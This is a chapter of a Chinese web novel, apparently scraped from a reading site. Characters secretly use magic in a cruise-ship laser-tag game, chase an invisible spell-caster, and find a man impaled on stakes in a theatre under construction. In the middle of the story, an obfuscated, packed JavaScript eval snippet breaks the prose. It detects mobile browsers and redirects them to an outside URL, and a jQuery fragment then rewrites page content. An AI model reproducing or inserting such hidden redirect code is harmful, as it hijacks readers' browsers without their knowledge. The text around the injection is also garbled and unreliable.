9.闹鬼游轮(三)
作品:《写限制文赚功德,我被魔尊盯上了》 “你们也来玩Lase Tag?” 魏茯苓笑着问,“怎么没看到罗先生?”
“他往那里去了,你们要不去找找。” 萧衍随意指了一个方向说。
“没事,玩一局再去找他。”
萧衍瞟了一眼莫君离,阴沉着一张脸。
终于轮到他们,萧衍已经迫不及待要打莫君离个落花流水。
萧衍和颜清辞分在蓝队,魏茯苓和莫君离则是红队。
他们套上亮着灯的感应马甲,进入幽暗的仅有荧光照明的场地内。
随着广播中发出的指令,人影开始在掩体间快速跑动。颜清辞看了一眼身后的萧衍,却发现他的眼睛冒出野兽一般的金光。
“用法术,你这是作弊。” 她小声说。
“那两个一定也会用法术的,这才叫公平。” 萧衍不以为然地说。
枪声在耳边此起彼伏,已经有好几个人中弹了。
颜清辞是有些胜负欲在身上的,她只做了一秒的思想斗争,便也开启了夜视。
瞬间,整个场子的格局清晰展露在眼前。
她和萧衍背靠背,很快干掉了几个进入视线的红马甲。
他们开始往里面跑,除了枪战,他们还要找到实验室,找到装特殊试剂的保险箱,拿到试剂才算赢。
枪声在耳边此起彼伏,一开始他们还找掩体躲藏,后来干脆不躲了——颜清辞开了个护身咒,两人淡定地在狭长的过道里走了起来。
“哈哈,就知道你们不老实。” 身后传来一串笑声,不回头也知道是魏茯苓。
她端着枪看着他们,一脸道德审判的表情。
“彼此彼此吧,你手上拿着那块水晶,是吸光用的吧,不是你变出来的,难道是他们发的?” 萧衍也毫不客气地拆穿了对方的作弊行为。
魏茯苓浅浅一笑,道:“这么说,这一场到最后就是2V2咯?”
“那也得看你们有没有本事。” 萧衍话音未落,魏茯苓手里的水晶便崩成了无数碎片,化作水蒸气一般消失殆尽。
就在这时,两个身穿蓝马甲的人正从拐角处转进来,两束蓝色的激光朝魏茯苓和莫君离射来。
莫君离反应快,躲过了射向他的子弹,而魏茯苓肩头的一个红灯应声熄灭。
萧衍幸灾乐祸地冲她笑了笑,朝颜清辞打了个手势,两人朝漆黑的过道深处跑了起来。
魏茯苓一伸手又变出一颗水晶来,那两个蓝马甲继续开火,却再也打不中他们两人。
莫君离一回头,只开了两枪,各自击中那两人胸前的红灯。
随着两声沉闷的音效,出局的两人放下枪,沮丧地离开了。
所谓存放“特殊试剂”的实验室,实际就是一个摆放了一排排架子的房间。
魏茯苓和莫君离到达的时候,颜清辞和萧衍已经在里面了。
他们需要先找到存放目标试剂的保险箱。
听见门外传来声响,颜清辞对萧衍比了个“嘘”的手势。
他们此时正站在两排存放试剂瓶的架子中间,那些试剂倒是还原得挺逼真,花花绿绿的液体,在荧光灯下展现出光怪陆离的氛围。
“没看见什么保险箱啊。” 魏茯苓的声音从门口传来。
“应该藏在里面,进去看看。” 莫君离的声音。
透过架子的缝隙,颜清辞看见了两人的身影。她默默举起枪,瞄准了身位理她更近的莫君离。
“叮叮当当”——她面前的试剂瓶突然发出清脆的响声,像是有人拿着金属小勺,轻轻拨过那一排排玻璃瓶。
听到声响 ,魏茯苓和莫君离立刻朝这边看过来,四人目光相接。
下一秒,红蓝射线穿梭往来,各人的激光枪里发出开火的音效。
背景之中,玻璃瓶的鸣响仍然没有停止,似乎还夹杂着细碎的脚步声。
“先不要开枪!这里还有别人!”萧衍大喝一声,混乱的枪声戛然而止。
“哗啦啦”,角落里一排架子上的试剂瓶毫无征兆地翻到了地上,他们走过去看,除了一地的碎玻璃,什么都么有。
“是那个''鬼''?”莫君离说。
魏茯苓的抬起头,指着架子顶上的一个黑色小柜子说:“那个就是装试剂的保险箱吧。”
箱门打开,里面空空如也。
萧衍的语气倒有几分兴奋:“行吧,那就陪他玩玩。”
他话音刚落,他们面前的架子猛一摇撼,四人眼疾手快跳到一边,才没有被砸个正着。
头顶似乎有风吹过,颜清辞一伸手,扔出几枚符咒来,其中一枚似乎打中了什么。
“抓到你了!”颜清辞朝那处的空气一指,符咒亮起微光。
符纸抖动了几下,那人显然想将它揭掉。然而到底没有成功,过了一会儿,发光的符咒飞快移动起来。
魏茯苓抛出一根灵力索,也许是套住了那人的手或脚,绳索被用力拽动。
“咔嚓”一声,灵力索被生生挣断,符咒继续移动。
莫君离一抬手,架子上的一个个玻璃瓶腾空飞起,朝符咒周围的空气挨个砸过去。
“砰砰砰”,一部分瓶子砸中了那人,一部分被打回来,还有一些直接落到地上。
一时间,整个房间里丁零当啷好不热闹。
眼看符咒就要飘出门外,萧衍一转眼闪现到门口,他手上抓起一股灵力,正要朝面前的空气掷过去,身后却响起一个人声。
“这里出什么事了?”
仅那一两秒愣神的功夫,萧衍感觉到身边轻风掠过,他还来不及反应,手里已经多了一个试剂瓶。
他回过头,穿工作人员服装的小哥面无表情地说:“监控坏了,临时检修。”
他绕过他,走进屋子里,打着手电,照出一地的狼藉。
“你们在里面干嘛啊!” 他的语气透露出他内心的崩溃。
“我还想问你们呢,道具都那么不牢固,一推就倒,还是真玻璃,很危险的。”
萧衍面不改色,甚至倒打一耙起来。
另外三人也走了过来,萧衍举起手里的试剂瓶,问那工作人员说:“我们的任务就是拿到这个吧?”
“对。”小哥此时此刻并不很想说话。
“那就是我们赢啦?”萧衍得意地笑了。
“那你这话可说早了!”开口的同时,魏茯苓举起枪,对着萧衍和颜清辞胸前的□□扣下了扳机。
“你……!”萧衍低头看着马甲上的灯光黯然熄灭,一时间气得说不出话来。
莫君离无奈一笑,转头对颜清辞说:“没办法,兵不厌诈嘛。”
“你说的对。” 颜清辞也笑了。两声枪响,她干净利落地击灭了他和魏茯苓胸前的红灯。
在头顶的音箱里放出宣布胜利的音乐声中,这时他们才看清,颜清辞的灯还好好亮着呢!
“游戏结束,请各位离场吧。” 小哥生无可恋地下了逐客令。
他们从漆黑的游戏室出来,颜清辞从口袋里掏出一面小小的化妆镜来,笑着说:“这东西平时派不上用场,没想到关键时刻还挺管用。”
魏茯苓上前,亲昵地搂住她的脖子,说:“输给你,我是服的,不打不相识,你叫我一声茯苓姐,咱们以后就是好姐妹。”
颜清辞淡淡一笑,应了一声“茯苓姐”。
魏茯苓爽朗一笑,忽然凑近她的耳边,用只有她俩才能听见的分贝说:“姓萧的就是个傻憨憨,你一个小指头就能拿捏他。我弟弟呢,人也很不错,如果你不知道怎么选,大可以都收了去。”
颜清辞尴尬地连连摇头:“不不不,收不了一点……”
她们正说着话,迎面便碰上了林朔和罗晟。
魏茯苓大步上前,站到罗晟面前,一甩长发,大声说:“好巧啊罗先生,又见面了。”
罗晟这回竟然难得开了金口,轻轻回了一句“嗯”。
“都在这里?要不要一起去吃饭?” 林朔看了看表,提议道。
一行人往餐厅走,林朔和颜清辞自然而然地聊起了方才激光枪战发生的怪事。
“林先生和罗队长去哪里玩了一下?” 颜清辞问。
“也没玩什么,去甲板上冲了个浪。”
颜清辞点点头,这倒是解释了两人湿漉漉的头发。
“你们呢,颜作家?”
“刚从那个激光枪战出来呢,我们还在里面碰见那个鬼了。”
“真的假的!” 林朔大惊。
“当然是真的,不是什么鬼,也是个会法术的。” 萧衍从后面探头过来。
“那这鬼……这个会法术的人,为什么要在船上吓人呢?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023122|194240||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林朔不解。
“也许是为了好玩?又也许是……为了挣功德?”
莫君离也倾身向前,一脸认真:“昨天晚上给那个人送纸的行为,很有可能是为了功德,刚才在里面引导我们通关游戏,也像是这个目的。”
萧衍和莫君离并排走在最后面,两个人之间仿佛隔了一堵墙,各自都试图加入前排二人的谈话,彼此之间却毫无交流。
走在最前面的魏茯苓和罗晟这边,气氛一时也有些尴尬。
“罗先生,你这跟棍很是精巧啊,能不能借我玩玩?”
魏茯苓的眼睛盯着他腰间别着的“无妄”,语气却透出一股暧昧。
罗晟显然听出了这话里的歧义,红着脸憋出了一句“不能”。
遭到拒绝,魏茯苓倒也不恼,咯咯笑了两声,又说:“罗先生,你一直都这么害羞吗?”
罗晟没搭话,加快了前进的步伐。
魏茯苓从怀里掏出一个用紫色绳子手编的挂饰来,递到他面前说:“这个送你,挂在你的武器上,很相配。”
罗晟看了她一眼,犹豫片刻之后还是接了过去,飞快说了一声“谢谢”。
他将那挂绳快速塞进口袋里,再次陷入了沉默。
六个人还没走到餐厅门口,已经看见三四批穿着工作服的人匆匆忙忙地往反方向走。
罗晟敏锐地停下了脚步,回过头对其他人说:“刚才过去那两个好像是负责治安的,感觉出事了。”
“跟过去瞧瞧。” 萧衍说着已经转身跟了上去。
他们跟着那两名穿白色制服的男人来到挂着“古典剧院”牌子的处所,那两人绕过拦在门口贴着“暂不开放”字样的隔离桩,朝里面去了。
六人对了对眼神,也悄悄跟了进去。
这处剧院还处于装修阶段,舞台正在搭建地基,一根根木桩拔地而起。
观众席的座椅扶手和二层的包厢外立面也都是纯木质打造,看起来,设计者确实是要将此处打造成一个真正的“古典风格”的剧院。
他们朝着一群工作人员围着的地方走过去,终于看清了触目惊心的现场——舞台内侧的几排木桩,不知怎的和其他地方的都不一样,顶端被削尖了。
而在那堆木桩之上,插着一个男人。
死人。
他的身体被尖尖的木桩刺穿,木桩顶端还挂着他的缕缕血肉。
他的头冲下,面部恰好被一根木桩贯穿,脸上一个大洞,已然看不清本来的样貌。
罗晟抬起头,指了指舞台上方的一排木质脚手架搭成的通道说:“他是从那里摔下来的。”
果然,死者头顶正上方的通道栏杆裂了一个豁口。
林朔上前端详了一遍尸体,说:“瞬间死亡,应该没有太多痛苦。”
穿白色制服的其中一个男人对戴着安全帽的几名工人问道:“这木桩谁给削尖的?”
工人们显然吓得不轻,带头那个颤颤巍巍地答道:“不是我们削的,谁会这么干呀!”
这时,身后传来脚步声,一个中午十足的男声响起。
“几位顾客,这里是工作区域,还请你们移步。”
他们回头一看,这位身形矫健的中年男子也穿着白色制服,只是肩章的样式和刚才那两位略有不同。
“贺船长!” 所有工作人员见了他,都毕恭毕敬地打招呼。
六个人谁也没动,萧衍说:“我们也是恰好路过,可是船长先生,船上出了这样的命案,我们着实有点担心啊。”
贺船长淡定一笑,说:“让各位看到这样的场景实在抱歉,确实发生了意外,我们已经联系了警方,并且马上会安排返航。
不过,为了避免造成恐慌,还请几位不要把这里发的事散播出去,作为补偿,我们会给各每人提供一张价值2000元的代金券,您下次可以使用。”
“你们这船又闹鬼又死人的,有没有下次都两说呢。” 萧衍讽道。
眼看船长脸色变得有些难看,萧衍连忙解释道:“我们是你们大老板请来捉鬼的,就住在顶层的星海套房,你可以自己去问。”
萧衍指了指罗晟,继续说:“这位罗队长之前就是警察,回到港城也还得一两天,我们可以帮你们调查这件事。
毕竟,如果是凶杀的话,有第一起就有第二起。”

